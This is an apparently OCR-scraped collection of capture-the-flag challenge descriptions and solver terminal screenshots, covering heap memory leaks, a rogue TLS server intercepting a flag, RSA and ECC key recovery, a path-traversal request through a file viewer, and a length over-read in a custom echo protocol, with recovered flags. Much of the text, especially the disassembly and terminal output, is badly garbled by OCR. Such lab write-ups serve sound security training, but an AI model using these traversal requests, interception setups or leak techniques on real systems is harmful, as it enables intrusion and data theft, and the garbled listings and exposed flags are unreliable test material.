# Heap Smash v1
PWN
Description
Read the challenge prompt and requirements.
Heap exploitation warmup: the flag is loaded into memory and freed at startup. Reclaim the uninitialized memory to leak the flag. Connect to the service on port 1337 and use the provided commands to allocate, write, read, and delete notes. Commands: - `A ` allocate - `W ` write - `R ` read - `D ` delete - `E` exit
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# Net MITM TLS
INFRA
Description
Read the challenge prompt and requirements.
A background service in the target environment periodically transmits a secret flag over TLS to https://net-mitm.local:4443/submit. Connect to the shell service, set up a rogue TLS server with a forged certificate matching the expected domain hostname, and intercept the secret.
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# Tiny ECC Tweak 
CRYPTO 
Description 
Read the challenge prompt and requirements. A whistleblower inside the **Cipher Syndicate** managed to exfiltrate a single log file before going dark.The file contains two authenticated transmissions signed by the Syndicate's central command node, along with an encrypted payload believed to hold the access code to their next operation.Intelligence suggests the signing system suffered a silent flaw: a broken random number generator. Anyone who spots the anomaly in the signature data can work backwards to the signing secret, and from there, crack open the payload.The log is pub.txt. Everything you need is inside.

[image: ]

# Triplet Tweak
CRYPTO
Description
Read the challenge prompt and requirements.
A rogue archivist inside the Athena Vault grew paranoid. Before going dark, they locked the same message three times—each lock forged by a different hand, yet all three sharing a single hidden master key.Three sealed envelopes were left behind. Each bears a different lock, but the locksmith was lazy—or sloppy—and the same secret runs through all three. The envelopes are yours now. Find what ties them together.
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# Upload Lantern
INFRA
Description
Read the challenge prompt and requirements.
A file upload feature was exported from a staging branch after a sanitization change. A live instance of the staging service is provided: preview stored uploads via `GET /view?name=`. Get the flag.
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# Net Custom Protocol
INFRA
Description
Read the challenge prompt and requirements.
Reverse the custom echo protocol(ECHO|k|foo) over tcp and find a way to leak the secret. A player-facing transcript is provided; the service and secret are organizer-only.
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# Table Stakes
REV
Description
Read the challenge prompt and requirements.
A small binary was recovered from a compromised endpoint. It checks a candidate flag and reports whether it is correct: ``` ./challenge.bin 'athena{...}' ``` It will not reveal the flag on its own — the answer is only ever verified, never printed. Reverse engineer to recover the embedded payload.
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401332: sb Tbx
401333 5d popy  Tbp
CTF 2026 401334 3 ret
401335 48 89 7 mov  rdi,rsp
401338 4880150124 00 00 mov  Tdx,QORD PTR [rip+0x2do1] # 404040 <stdinAGLIBC 2.2.5>
40133F be 40 00 00 00 mov  esi,ox40
¢ Back to Chalienges 401364 8 77 fd £ £ call  4010c0 <fgetsaplt>
401349 48 85 co test  rax,rax
40136 74 3¢ je  40138a <fgetsapltroxzca>
Table Stakes s0136e 48 89 e3 mov  rbx,rsp
oy 401351 4884 35 ac 0 0000  lea  rsi,[riproxcac] # 402004 <fgetsapltsoxfi>
401358 48 89 7 mov  rdi,rsp
401350 8 40 fd £ £ call 401020 <strcspnaplt>
Description 401360 <6104104 00 mov  BYTE PR [rsperax+1],0x0
et the challenge prompt and reaurements. 401364 9 57 Ff £ F Jmp  4012c0 <fgetsaplt+0x200>
401369 4884 3d 97 0c 00 00 1Té  rdi,[rip+oxc97] # 402007 <fgetsapltsoxfi7>
A small binary was recovered from a compromised endpoint. It checks a candida 401370 e8 0b fd Ff fF call 401080 <putsaplt>
. A 401375 bb 01 00 00 00 mov  ebx,0x1
and reports whether it is correct: ™ /challenge.bin ‘athena{...}' " It il notre 013~ e o irios <rgetsaplirands>
the flag on its own — the answer is only ever verified, never printed. Reverse en.  40137c: 48°8d'34°8F 0c 00 00 lea  rdi,[rip+0xc8f] # 402012 <fgetsapltsoxfs2>
to recover the embedded payload. 401383 e8 f8 fc £ £ call 401080 <putsaplt>
401388 eb of Jmp 401329 <fgetsaplt+0x269>
4013831 bl 01 00 00 00 mov  ebx,0x1
s0138F: eb 98 Jmp 401329 <fgetsaplt+0x269>
Hints
Reveal hints progressively while soling. Disassembly of section .fini:
) 0000000000401394 <. Fini>:
[ 8 401394: 30 le fa endbrés
- 40139 48 83 ec 08 sub  rsp,0x8
| & nint2 40139¢ 48 83 ck 08 add  rsp,oxs
s013a0: a Tet
‘ 2 Hint3
[ (venv)-(boyS kali) - ~/Downloads
$ python3 challenge.py
les Cipher © 544738b3cka7cBbb2c558863C4658132CEaBE3BCI660C17C6760
Flag : athenalst4tic_strings_born}
challenge.bin Downlond [75(yenv)~(boy@ kali)-[~/Downloads]
13k8 e 211

THRD BLOOD
Lucifer

@subhashmurugan0d
71872026, 9:32:59 AM
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Heap Smash vl | Report . Solved
PWN
Description Challenge Status
Read the challenge prompt and requirements.
'ge prompt 4 Points 150
Heap exploitation warmup: the flag is loaded into memory and freed at startup. Reclaim
Scoring statc

the uninitialized memory to leak the flag. Connect to the service on port 1337 and use
the provided commands to allocate, write, read, and delete notes. Commands: - A
allocate - "W * write - 'R " read - "D * delete - 'E’ exit

@ Solved  Team attempt 4/ 10

*\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ X80\ x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ X0\ x00\x00\x00\x00\x00
\X00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\ncmd: *

[*] Closed copnection to 13.206.57.188 port 10073

[+] Opening connection to 13.206.57.188 on port 10073: Done

sIzE 72
“\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ X80\ x00\x00\x00\x00\x00\x00\ 80\ x00\x00\x00\x00\x00\ x00\ X080\ x00\x00\x00\x00\x00
\X00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\ x00\x00\x00\x00\x00\x80\x00\ x00\ x00\ 00\ x00\x00\ x00\x00\ x00\ x00\x00\x00\x00\x00\x00\x00\x00\nC
md: *

[*] Closed connection to 13.206.57.188 port 10073

[+] Opening connection to 13.206.57.188 on port 10073: Done

SIZE 80
“\nV]\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ 00} \X00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x80\x00\ x00\ x00\x00\x00\x

00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x08\x00\x80\x00\x00\x00\x00\x00\x00\xB0\nCmd : *
[*] Closed connection to 13.206.57.188 port 10073
[+] Opening connection to 13.206.57.188 on port 10073: Done

SIZE 96
“\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\ X80\ x00\x00\ 00\ x00\ x00\x00\x00\x00\ x00\x00\x00\ 00\ x00\x00
\X00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ 00\ x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\X00\X00\x00\ x00\ x00\x00\x00\x00\ x00\x00\x00\x00\ x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\x00\x00\x00\x00\x00\nCmd :

[*] Closed connection to 13.206.57.188 port 10073

x
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Net MITM TLS
INFRA

Description
Read the challenge prompt and
A background service in the
TLS to https://net-mitm.loca

TLS server with a forged cer
intercept the secret.

Hints
Reveal hints progressively while:

& Hint 1

tls = ctx.wrap_socket(conn, server_side=True)

data = b""
while Tru
chunk = tls.recv(4096)
if not chunk:
break
data += chunk
if b™\r\n\r\n" in data:
break

print( * 60)
print(data.decode(errors="ignore"))
print(*=" * 60) Challenge status

tls.send(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK")
Brget chirsHAREY
408 3/submit. Connect to the shell service,
\player@ip-172-31:77;196:/tmp$, pythen3 /tup/server.py n
python3 /tmp/server.py
[+] Listening on 4443
[+] Connection: ('127.0.0.1", 41488)

seriodically transmits a secret flag ove

ubmit Flag

POST /submit HTTP/1.1
Host: net-mitm.local
Content-Length: 24

athena{ tqK2VFO9KXSsFaxe}

Traceback (most recent call last):
File "/tmp/server.py”, line 33, in <module> Bloods
tls.send(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\noK")
File "/usr/local/lib/python3.11/ssl.py", line 1242, in send
return self. sslobj.urite(data)
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BrokenPipeError: [Errno 32] Broken pipe Yusuf Erdem Uzur
playerip-172-31-77-196:/tnp$
(boy® kali)-[~]
Csn
@subhashmuruganoo

711872026, 3:46:14 AM

THIRD BLOOD
e
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| Session Actions Edit View Help
[f(boye kali)-[~] Downloading gmpy2-2.3.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl (1.8 MB)
$ curl -i -c cookies.txt —b cookies.txt \ 1.8/1.8 MB 1.2 MB/s 0:00:01
-X POST http://13.206.57.188:10011/ui/login \ Installing collected packages: mpmath, sympy, pycryptodome, gupy2

-d "username=hi_boyspassword=12345678" Successfully installed gmpy2-2.3.1 mpmath-1.3.0 pycryptodome-3.23.0 sympy-1.14.0
curl: (7) Failed to connect to 13.206.57.188 port 10011 after 2737 ms:

E[boy% kali)-[~]
$ curl -i -c cookies.txt -b cookies.txt \ admin_wazuh.txt Documents headers. txt Music proxy_fuzz.py  Templates wazuh-install.sh

(venv)-(boy® kali)-[~]
Csve

~X POST http://13.206.57.188:10011/ui/login \ analyzeMFT Downloads index.html oracle.py  Public test.txt words. txt
-d "username=test&password=test” cert.pem express_fuzz.py info.php params.txt script.sh venv
| curl: (7) Failed to conmect to 13.206.57.188 port 10011 after 2722 ms:| cookies.txt fuzz.py key.pem Pictures  session_fuzz.py Videos
Desktop hd_fuzz.py local_cipher.py Projects  shell.php wazuh-install-files.tar

[(boy@kali)-(~)

$ pip install pycryptodome sympy gmpy2 (venv)—(boy® kali)-[~]
Cs

error: externally-managed-environment $ cd Downloads

* This environment is externally managed [g(venv)~(boy® kali)- [~/Downloads )
> To install Python packages system-wide, try apt install $ 1s

python3-xyz, where xyz is the package you are trying to acadeny-regular.ovpn Ftp.pdf pub. txt telnet.pdf

install. a.txt hack. html recover.py test.txt
code_1.127.0-1782814776_and6t Togic_puzzle.bin release_arena_us-release-2.0vpn usnjrnl.bin

If you wish to install a non-Kali-packaged Python package, code1.127.0-1782814776_amd64.deb machines_us-2.ovpn  setupapi.dev.log

create a virtual environment using python3 -m venv path/to/venv. | firmware.bin mft.bin solve.py

Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make | firmware_notes.txt narrow_des_server.py starting points_us-starting-point-1-dhcp.ovpn

sure you have python3-full installed.
[g(ven)~(boy® kali)- [~/Downloads )
If you wish to install a non-Kali-packaged Python application, $ python3 solve.py

it may be easiest to use pipx install xyz, which will manage a

virtual environment for you. Make sure you have pipx installed. | Modulus found : True
bits : 1024

For more information, refer to the following: Exponent : 3

* https: //wm.kali.org/docs/general-use/python3-external-packages/| Ciphertext : True

* /usr/share/doc/python3.13/README. venv sig r = 9c3e8fla7dib2e6c5a0d9f3b8e2a7chd1fIbbe38a5d2 FObTekc1a9d6f3b0e8

sig_s = 4alfscsb2e9dba3foc7bheldasf2cobbe3darfacibsesa2ddfbe3boe7atfl

note: If you believe this is a mistake, please contact your Python ins
breaking your Python installation or 0S, by passing —break-system-pac [*] Trying integer cube root
hint: See PEP 668 for the detailed specification. [+] Exact cube root found!
bathena{sm411_root_r3s}’

10017

(venv)—(boy® kali)-[~/Downloads]
Csn

e
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Read the challenge prompt and requirements.

A rogue archivist
the same message three

through all three. The envelopes are yours now. Find what ties them together.

Hints.

Reveal hints progressively while solving.

ide the Athena Vault grew paranoid. Before going dark, they locked
les—each lock forged by a different hand, yet all three
sharing a single hidden master key.Three sealed envelopes were left behind. Each bears
a different lock, but the locksmith was lazy—or sloppy—and the same secret runs

| & Hinc e
| & Hint2 a0 v |
Files

pub.oxt Download &
28K8
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Challenge Status

Points 350

Scoring static

©Solved  Team attempt 3/10

Submit Flag

@ Your team has already solved this.
challenge.

& FRsTBL00D
SLHR

Gsonghrass
Tno0zs, 23257

SECOND 8LOOD
donald_duck
@muskinrusk
7182026, 2:35:12 PM

THRD BLOOD
saymynam3
@curivang2
71182026, 2:35:50 PM

g(»{env)f(bws kali)-[~/Downloads]
s

acadeny-regular.ovpn firmuare_notes.txt mft.bin
a.txt Ftp.pdf narrow_c
code_1.127.0-1782814776_and64 hack.html pub. txt
code_1.127.0-1782814776_and64.deb logic_puzzle.bin  read.py
firmuare.bin machines_us-2.ovpn recover.

[g(ven)~(boy® ali)-[~/Dounloads]
$ python3 read.py
Loaded 3 modulus/moduli, 3 exponent(s), 3 ciphertext(s)

: 1024 bits
1023 bits
1024 bits
: 1022 bits
1022 bits
1023 bits
: 1019 bits
1020 bits
1023 bits

g(»{env)f(bws kali)-[~/Downloads]
s

acadeny-regular.ovpn firmuare_notes.txt mft.bin
a.txt Ftp.pdf narrow_c
code_1.127.0-1782814776_and64 hack.html pub. txt
code_1.127.0-1782814776_and64.deb logic_puzzle.bin  read.py
firmuare.bin machines_us-2.ovpn recover.

E(venv)*(hﬂ!@ki“)—hlno'nloads]
$ python3 slovecrypto.py

[+] Running LLL lattice attack to recover shared private expone
[+] Recovered shared d (340 bits)

[+] €1 — b’athena{shir3d_d_3xp}"

[+] c2 — b’athena{shir3d_d_3xp}"

[+1 €3 — b’athena{shir3d_d_3xp}"

G(ienv)f(bwo kali)-[~/Downloads]
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Upload Lantern
INFRA

Description

Read the challenge prompt and require

Afile upload feature was exportec
live instance of the staging ser

nam

Get the flag.

Hints.

Reveal hints progressively while solvin

& Hint 1
& Hint2
& Hint3

Files

upload_handl
13K

sanitizer.py

# Upload Lantern

A file upload feature was exported from a staging branch after a sanitization change. Multiple modules handle filename sanitization - trace which

one ships in production and find the gap.

= Fil
= o @
- “upload_handler.py’ — the upload handler and its embedded legacy sanitizer
- “sanitizer.py’ — a newer, more comprehensive sanitizer module
- ‘config.py’ — configuration that selects which sapitizer,ds active
- “tree.txt’ - text snapshot of the server directory tree
350

#4 Goal
fiom's branch a ti

Determine which'sanitizer is actually/used at runtime, identify its weakness, and
reason about the server layout to figure out what.an attacker:could reach.

A live instance of the staging service is provided. It serves previously uploaded
files back to you: Submit Flag

- "GET /view?name=<filename>" returns the contents of a stored upload.
- "POST /upload?name=<filename>" stores a file (raw bytes in the body).

Use the source and “tree.txt’ to work out a ‘name’ that reaches the private flag,
then read it through the running service.

Submit the flag in “athena{...}" format. R

Q(MyGhli)f["IDoInloads]

printf 'GET /view?name= .. SSCprivatexisCprivate flag.txt HITP/L.1\r\ndost: 13.206.57.188\r\nConnection: close\r\n\r\n’ | ne 13.206.57.188 1001

HTTP/1.0 200 0K

Server: UploadLantern/2.1 Python/3.12.13
Date: Sun, 19 Jul 2026 00:40:24 GMT
Content-Type: application/octet-stream
Content-Length: 25

athena{ jQnmlSq4Ma1RTXK} }

9258 ,3(M8hli)—[~lnounloads]

1
contig. S
5818 i e 7/18/2026, 9:35:37 AM
freetxt oouness & Challenge nstance
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Net Custom Protocol
INFRA

Description
Read the challenge prompt and requirements.

Reverse the custom echo protocol(ECHO|K|foo) over tcp and find a way to leak the
secret. A player-facing transcript is provided; the service and secret are organizer-only.

Hints.

Reveal hints progressively while solving.

& Hint 1 B

Report
Paints
Scoring
GSoived Team attempt 2/10
Submit Flag
@ Your team has already s
challenge.
Bloods
& FRsTELOOD

yoshimurakenshin178
@yoshimurakenshin1 78
71182026, 233:13 PM

SECOND 8LOOD
ptsdl5deepako234
[CrE——
71182026, 2:34:02 PM

Qﬁbﬂvoh -[=]

timeout 5 bash -c "cat < /dev/null > /dev/tcp/13.206.57.188/10043" 86 echo OPEN || echo

OPEN

Lfﬁlwyehli)*['*]

$ nc 13.206.57.188 10043

ECHO | k| foo

ERRIbad-Ten h a h a
3 Ifo0

oKl foo e e
ECHO|k|3] foo

ERR|bad-len

ECHOI3 k| foo

oKIk|F

ECHO| 4| test A
oKl test

HELP

ERR|bad-format

NFO v
ERR|bad-format

GET

ERR|bad-format

FLAG

ERR|bad-format

SECRET

ERR | bad-format

LEAK

ERR| bad-format

DEBUG

ERR|bad-format

FLAGlO|

ERR | unknown-cnd

FLAG| 10 foo

ERR | unknown-cnd

SECRETI0|

ERR | unknown-cnd

ECHOI 101 foo

oKl foo

ECHO|100| foo

OK| fooathena{f4ur460uYptoldca}

THRD BLOOD
Research

@athena research2s
71182026, 2:37:21 P

nge Instance





